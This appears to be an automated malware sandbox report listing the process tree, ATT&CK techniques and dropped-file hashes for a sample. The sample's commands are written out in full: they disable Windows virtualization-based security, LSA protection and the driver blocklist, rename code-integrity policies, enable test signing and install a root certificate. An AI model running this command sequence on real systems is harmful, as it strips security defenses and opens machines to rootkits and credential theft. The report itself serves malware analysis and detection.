  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5820
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2732
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2664
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5264
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
    3⤵
    - Boot or Logon Autostart Execution: LSASS Driver
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1204
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5600
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4944
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
    3⤵
    - Modify Registry: Disable Windows Driver Blocklist
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2028
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3960
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240725390.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4252
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240725390.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4532
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240725390
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240725390
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:6120
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240725390
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240725390
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5552
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /s
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /s
    3⤵
    PID:1472
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240725390
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240725390
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3400
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240725390
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240725390
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /d
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5384
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /d
    3⤵
    - Enumerates connected drives
    PID:2692
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240725390" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5268
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240725390" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3440
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3916
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1380
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set testsigning on
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4812
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240727328_10679.cer"
  2⤵
  - Installs a root certificate to the trusted certificate store
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240727328_10679.cer"
    3⤵
    - Installs a root certificate to the trusted certificate store
    PID:5544
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240727328_10679.cer"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5460
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240727328_10679.cer"
    3⤵
    - Manipulates Digital Signatures
    PID:1228
- C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
  "C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe" -apply
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5316
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4872
- - C:\Windows\system32\shutdown.exe
    C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4100

C:\Windows\Temp\longdiequdong1.sys
C:\Windows\Temp\longdiequdong1.sys
1⤵
- Executes dropped EXE
PID:4820

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39d4855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:2948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:3680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

TemporaryFile

Path C:\Users\Admin\AppData\Local\Temp\240715046\....\TemporaryFile
Size 647KB
SHA256 5109bd42f76bc2577fda8fc1fdeebbc3a211155bfe914eeef6348c60634541dd
MD5 064a2ad31b678c23418421a837478197
SHA1 eaf73a22cdb50bab45b7a2e28ee4fa3e9f721d44
SHA512 fb752fab6a4d73713cfbfcf3fd60797eca3765aa4bbc5ceefba735ed08c9c9e7bcea298b991664b65820d0c2d103838b2f664f1251972b864eae371f62d489d4
SSDEEP 12288:gPR3b/Nm9sLfIPGwmK5V736P7I1mM087unT0KqZUqZf:g5rFcsTRKH3+7I1mM0AWy
TLSH
T101E49D46E29101F8E2A7D179C5579337FBF2B81917228ADB45A0CD262F1BBD1AE3D301
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SignGuiPatcher.exe

Path C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
Size 27KB
SHA256 32fc89230f272a47c702b366f4cdba6c37a9bf4a323ab69d8b96effb9809d416
MD5 bf3bab59d74bf6244dbdde2eab294801
SHA1 59419491b377aa43a8ee7333d1599ff9fb6ae104
SHA512 ae9718a73d92778b06988afc95f6ff8a9b002bed543f4da8ab7857c31e520401bd346a31e993155ea808fc8a7d7e4469cabd2285f107924b80205da92df60061
SSDEEP 384:DPysd9jpAZsQ+lNyvo3ugNoovS5uZYreLe+GzXcN7bA4//cuJXp1:DBjpC+QovSKE2Y4/keXb
TLSH
T1ECC20A5AA2F405DAF532A171D9B67326F036F518183147DF83620A5E0F72AC0BB35BAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bl_240715046_8458.bat

Path C:\Users\Admin\AppData\Local\Temp\_bl_240715046_8458.bat
Size 172B
SHA256 571d8aa60ae95bf3e9da6f1d6973b76d9fcda8cf9dd06adea33083435e755190
MD5 e7187bd0261ff1610294370894624c87
SHA1 d533096f98b5f1007f01cda83885b6812ea5384f
SHA512 01a5bffbe3cc711e8b7890e84418c4550f1fce0c9e5b4cc81ed0f2acf89c74f10d80d2b7d61c721ab3aeb54fdb26fa77bd8ac345650d8c80965530aa1a2eb6e7
TLSH
T13AC0C0431342CCDE0005F01BA473C0C421E349CB2AC039A0025144F89DE04C9FE0B103
MD5 SHA1 SHA512 TLSH

Submit Download

_bl_240715046_8458.txt

Path C:\Users\Admin\AppData\Local\Temp\_bl_240715046_8458.txt
Size 5B
SHA256 b6626dde5feadbb3302a67528088e8f7cf8536de683f152639d3727ac4b24b3a
MD5 a77299bfbf6fc09712da498c168f9e71
SHA1 347ea3c48644143aaf8b8fce49bc8ba817cf953f
SHA512 d803f52c41a271efc811861ae0848a7a892455fb97997cc97503bcedd7ffbb94858e43978cfca0bebf6f0003825079237d465e67e4d905343573913bff22e487
MD5 SHA1 SHA512

Submit Download

_vv_240725390.bat

Path C:\Users\Admin\AppData\Local\Temp\_vv_240725390.bat
Size 71B
SHA256 03100d7b2d1fe54302bbeb7e71b030ab9b349a3c35d17fa87edbf903c767e013
MD5 ff76a05deb7e0d275f4ca48a8cf242c3
SHA1 4212a92f8da7440eb8ba2aa7203b17ab97415561
SHA512 86d7d54b19bc029cafa61d6866e6d8dcbfaf221df588e809c7ec6fece73f38649af8fb2b9f4d5c7632eecda3099a7c0d3be37a1d1fd45e7ab10ad7e9f99a6164
TLSH
T183A024014045CFCC4004501741F3474CD05104473D405F00C301C14C45C010CFF45303
MD5 SHA1 SHA512 TLSH

Submit Download

_vv_240725390.txt

Path C:\Users\Admin\AppData\Local\Temp\_vv_240725390.txt
Size 47B
SHA256 3827cbd05a50743b57acddb70bbeb3c2118eb07e528c8d6e9449ae18553e41fa
MD5 99746df3450c18c32b6e617f2d27f934
SHA1 4bde2cc83326ad3386b0dfaea363304a52da5dd0
SHA512 048367c362a8e45154fca1da91c9561fd04b04d96f02b2bff3ed45385350fa591d3913dfd771cec4e277ea071267cf95c612382fea94decfa3803b5eca275307
MD5 SHA1 SHA512

Submit Download

_wdkt_240727328_10679.cer

Path C:\Users\Admin\AppData\Local\Temp\_wdkt_240727328_10679.cer
Size 792B
SHA256 4ba1a74c97dbbaba1d4b4119d41f5c764791cd568a3c7f6f20a98cdae36fddb6
MD5 f86961a3e60a0c917b1eee487922e374
SHA1 43dbb0d8926febc69b7663673161bc063ed10e04
SHA512 bcc3ea7c9cee6ce3322ebe6b443760a180bf28ed6c3ee1622f94714622d78d72de98b684e1f2f7b50993940ebc1a9cae797672c09b80faeda9d8c256cf413a4f
TLSH
T11F01757D256FB2855D5705505389E70E6872EAC445D14E3ADA3F4054C4C7981EF2F216
MD5 SHA1 SHA512 TLSH

Submit Download

longdiequdong1.sys

Path C:\Windows\Temp\longdiequdong1.sys
Size 459KB
SHA256 605ca5e6a0dfd8cafa4849463d629ffe4970ecb358f4e6b9091121b842d58e63
MD5 e19ff4040dbc362dea36e9e82af879f0
SHA1 76065decc2e3bd1eaa51c8ae04f02fa075f43c0b
SHA512 d80f53c6533e505ee9bc0eceef24c52963d66f4cf1dbc40d527db9d940243b859039a6401ff8e3435c8167bdba2b44a1e493ef2bd5b502317b7da6f32d229e42
SSDEEP 6144:u6pHp2kyXnUePaeE8+6SKyRXCc8c02DKBDauEEXu1u+Aerjh6hiEsK8aA:u2KXUeFEiSKf2DKBDauLNwj4hiEu
TLSH
T12DA45C41E3A516E0E2B2D4788527A327D6F27C281B16D7DF85A0C9662F27BD0ED39F01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4420-23-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-29-0x00000000028F0000-0x000000000291B000-memory.dmp

Download

memory/4420-21-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-15-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-0-0x00000000028F0000-0x000000000291B000-memory.dmp

Download

memory/4420-14-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-13-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-20-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-30-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-3-0x000000000052B000-0x000000000052C000-memory.dmp

Download

memory/4420-33-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-1-0x00000000028F0000-0x000000000291B000-memory.dmp

Download

memory/4420-43-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-44-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-57-0x0000000000400000-0x00000000007CD000-memory.dmp

Download

memory/4420-58-0x00000000028F0000-0x000000000291B000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads